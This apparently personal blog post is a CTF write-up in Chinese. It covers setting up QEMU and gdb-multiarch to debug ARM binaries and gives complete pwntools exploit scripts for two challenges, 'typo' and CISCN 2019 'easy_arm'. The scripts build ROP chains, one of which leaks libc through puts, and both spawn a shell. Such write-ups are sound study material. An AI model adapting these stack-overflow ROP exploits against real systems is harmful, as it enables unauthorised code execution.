为了搭建这个环境费了好多心思,也花了好久好久~~~,网上的教程大多都是arm的板子的调试,最后终于找到了简单合适的办法

环境搭建

在已经有了gdb ,pwntools等之前pwn需要的环境下来进行下面的搭建

  1. 安装gdb-multiarch

    1
    sudo apt-get install gdb-multiarch
  2. 安装qemu,这个倒是不论在什么教程里都一定会有的,模拟跨平台神器,这里貌似只要安装qemu-user就可以了
    binfmt*是用来识别文件类型

    1
    2
    3
    sudo apt-get install qemu-user
    sudo apt-get install qemu-user-binfmt
    sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序,尝试打开jarvisoj的typo,正常运行

1
2
3
4
5
6
7
8
9
sirius@ubuntu:~/tikool/arm-test$ file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
sirius@ubuntu:~/tikool/arm-test$ ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit

------Begin------
sour

  1. 下一步是为了能够运行动态链接的跨平台如arm的程序的

查找

1
apt search  "libc6-" | grep 'arm'

或利用tab补全来查看

1
sudo apt-get install libc6-*

在其中寻找所需的架构对应的库,比如arm32用的是这个

1
sudo apt-get install libc6-armel-cross

  1. 运行方式,-L 指定运行库,-g 指定端口
    1
    qemu-arm -L /usr/arm-linux-gnueabi  ./ciscn_2019_en_1

arm(大端)和armel(小端)区别在于存储方式,一个是大端(低序存在高地址,按顺序来),一个是小端序(将低序的存在低地址,反常识来)。其他如mips同理

这里使用信安大赛华北赛区的一道arm题来测试,不加参数-g可以直接运行

1
2
3
4
5
6
7
sirius@ubuntu:~/tikool/arm-test$ file ciscn_2019_en_1 
ciscn_2019_en_1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=1aaea66452d1dc8a477419b71a3ebaaad001ada1, stripped
sirius@ubuntu:~/tikool/arm-test$ qemu-arm -L /usr/arm-linux-gnueabi ./ciscn_2019_en_1
your name:

aaaaaaaa
hello aaaaaaaa

  1. 调试,之前一直就是调试这里搭不好,这里不需要用gdbserver。。

首先让程序按上面的步骤在一个端口比如说1234跑起来,然后在另一边使用gdb-multiarch进行调试

1
gdb-multiarch  pwnname

进入gdb后 set architecture 设置架构(据说一般都会自动识别成功,不用设置),然后target remote ip:port 远程连接

测试

1
2
3
4
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote :1234
Remote debugging using :1234

  1. 脚本调试

使用socat在本地运行

1
socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi  ./pwn";reuseaddr

脚本

1
2
remote 127.0.0.1:10002
pause()

这里将pause相当于断点,pause之后再开窗口打开gdb-multiarch进行调试,这样还是有点麻烦,但是现在不知道有什么好办法。

关于ARM

参考:https://www.jianshu.com/p/bd96a8f58cbd

arm''

arm''

r0 - r3 存放参数 1-4 ,其余参数从右到左入栈;

被调用者实现栈平衡;

返回值存放在r0

R13 相当于栈指针ESP/RSP

PC 相当于EIP/RIP指针
LR link register 保存返回地址的寄存器

BL 相当于call , 跳转并把返回值保存到LR中
B 相当于jmp
BX 跳转并切换状态 ARM 与THUMB 指令
BLX 带返回的跳转并切换状态

示例

typo

题目

静态链接,简单的ROP,但是arm的看起来没那么熟悉;开启栈不可执行保护,其他没开

思路

先找下gadget,因为被strip了,没有了符号表,所以system无法直接找到
说是用rizzo可以恢复部分符号
因为要传一个参数,所以可以找下r0

  • 关于导入符号表

先把导入的libc文件拿出来,使用rizzo导出为.riz文件

导出

导出

再把riz导入文件

导入

导入

1
2
$ ROPgadget --binary typo --only 'pop' | grep r0
0x00020904 : pop {r0, r4, pc}

里面刚好还要pc,前面已经指定pc是相当于eip指针,所以这里可以顺便把system pop到 pc

关于偏移,理论上是可以用pwntools的cyclic,但是在arm程序里运行的不太对,不知道哪里出错了,只能爆破一下得到偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import sys
context.binary = 'typo'

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', 'typo'])
elf = ELF('./typo')
else:
sh = remote('127.0.01','10002')
elf = ELF('./typo')

pause()
pop_r0_r4_pc = 0x00020904
system = 0x110b4
binsh = 0x6c384
pay = 'a'*112+p32(pop_r0_r4_pc)+p32(binsh)*2+p32(system)
sh.recv()
sh.sendline("")
#pause()
sh.recv()
sh.send(pay)
sh.interactive()

easy_arm

题目

半决赛的题。。因为是arm的大部分就没做出来。。

1
2
3
4
5
6
7
8
9
10
signed int vul()
{
char buf; // [sp+0h] [bp-24h]

setup();
puts("your name:\n");
read(0, &buf, 0x100u);
printf("hello %s\n", &buf);
return 1;
}

思路

寻找可用的gadget,为了后面能够进行参数传递势必要能够控制r0

直接用ROPgadget only pop时

1
2
3
4
5
6
7
$ ROPgadget --binary 'ciscn_2019_en_1'  --only 'pop'
Gadgets information
============================================================
0x000103a4 : pop {r3, pc}
0x000104f8 : pop {r4, pc}

Unique gadgets found: 2

这里只能够直接控制r3 和返回地址pc ,所以还需要找点其他的

1
0x00010638 : pop {r4, r5, r6, r7, r8, sb, sl, pc} ; andeq r0, r1, r8, lsl sb ; andeq r0, r1, r0, lsl sb ; bx lr

这边发现能控制很多寄存器,但是没有r0;单独寻找r0相关,找到了这个

1
0x00010628 : mov r0, r7 ; blx r3

因为上一步能够控制r7,也就相当于可以控制这里的r0。构造rop链,第一次进行泄露libc地址,第二次getshell

中间发现使用上面的构造链会泄露完地址就fault退出,不过也发现了基址是不变的,可以泄露完再打一次getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import sys
context.binary = 'ciscn_2019_en_1'
#context.log_level = 'debug'
if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', 'ciscn_2019_en_1'])
elf = ELF('./ciscn_2019_en_1')
libc = ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
else:
sh = remote('','')
elf = ELF('./ciscn_2019_en_1')

mov_r07_br3 = 0x10628
pop_r3_pc = 0x103a4
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_r45678sbslpc = 0x10638

sh.recv()
pay = 'a'*0x24+p32(pop_r45678sbslpc)
pay += p32(0)*3+p32(puts_got) #r7
pay += p32(0)*3+p32(pop_r3_pc) #pc
pay += p32(puts_plt) #r3
pay += p32(mov_r07_br3) #pc

sh.sendline(pay)
sh.recvuntil('\n')
#print sh.recv()
puts_addr = u32(sh.recvuntil('\n',drop=True).ljust(4,'\x00'))
libc.base = puts_addr - libc.symbols['puts']
print hex(libc.base)
system_addr = libc.base + libc.symbols['system']
binsh_addr = libc.base + libc.search('/bin/sh\x00').next()


sh = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', 'ciscn_2019_en_1'])


pay = 'a'*0x24+p32(pop_r45678sbslpc)
pay += p32(0)*3+p32(binsh_addr)
pay += p32(0)*3+p32(pop_r3_pc)
pay += p32(system_addr)
pay += p32(mov_r07_br3)

sh.recv()
sh.sendline(pay)


sh.interactive()

之前的尝试笔记

之前做到的比较好的地方在于动态链接程序也能直接跑而不用指定库,应该是建立的软连接和导入库路径的设置

arm 程序运行

  1. 安装必要的程序 qemu gcc for arm 交叉编译

    1
    sudo apt install qemu gcc-5-arm-linux-gnueabihf gcc-5-multilib-arm-linux-gnueabihf
  2. 运行arm文件

    1
    qemu-arm ./filename

提示找不到库

1
/lib/ld-linux-armhf.so.3: No such file or directory

查找并建立软连接

1
2
3
find / -name ld-linux-armhf.so.3

sudo ln -s /usr/arm-linux-gnueabihf/lib/ld-linux-armhf.so.3 /lib/ld-linux-armhf.so.3

再运行找不到libc.so.6

1
export LD_LIBRARY_PATH=/usr/arm-linux-gnueabihf/lib/:$LD_LIBRARY_PATH

方便起见写入自启动脚本(一般还是不要写的好。。

1
echo "export LD_LIBRARY_PATH=/usr/arm-linux-gnueabihf/lib/:$LD_LIBRARY_PATH" >> ~/.bashrc

arm-gdb

gdb源码下载:http://www.gnu.org/software/gdb/download/

gdb 版本不要太高,这里选择和本机一个版本的gdb

解压:tar xvf gdb-7.11.1.tar.xz

安装可能需要的库

sudo apt-get install texinfo libncurses5-dev m4 flex bison

  • 编译arm-linux-gdb & gdbserver

进入源码目录:

1
2
3
./configure --target=arm-linux --prefix=/home/sirius/tools/gdb/arm-gdb
make -j8
sudo make install -j8

这里可能会报错说__NR_rt_sigreturn未定义
加个头文件

1
2
3
#ifndef  __NR_sigreturn
#include <asm/unistd.h>
#endif

arm-gdb/bin 下可以看到 arm-linux-gdb arm-linux-run

将其加入环境变量:

1
2
vi /etc/profile
export PATH=$PATH:/home/sirius/tools/gdb/arm-gdb/bin
  • 编译gdb client
1
2
3
4
5
6
7
8
cd gdb/gdbserver
export PATH=$PATH:/home/sirius/tools/gdb/arm-gdb/bin
./configure --target=arm-linux --host=arm-linux-gnueabi

vi config.h
#define HAVA_SYS_REG_H 将此句注释

make CC=arm-linux-gnueabi-gcc -j8

这里可能会报错说没有arm-linux-gnueabi-gcc, 使用apt安装就可以了

  • 使用
    1
    gdbserver :1234 ./pwn

这里调试的时候便会出错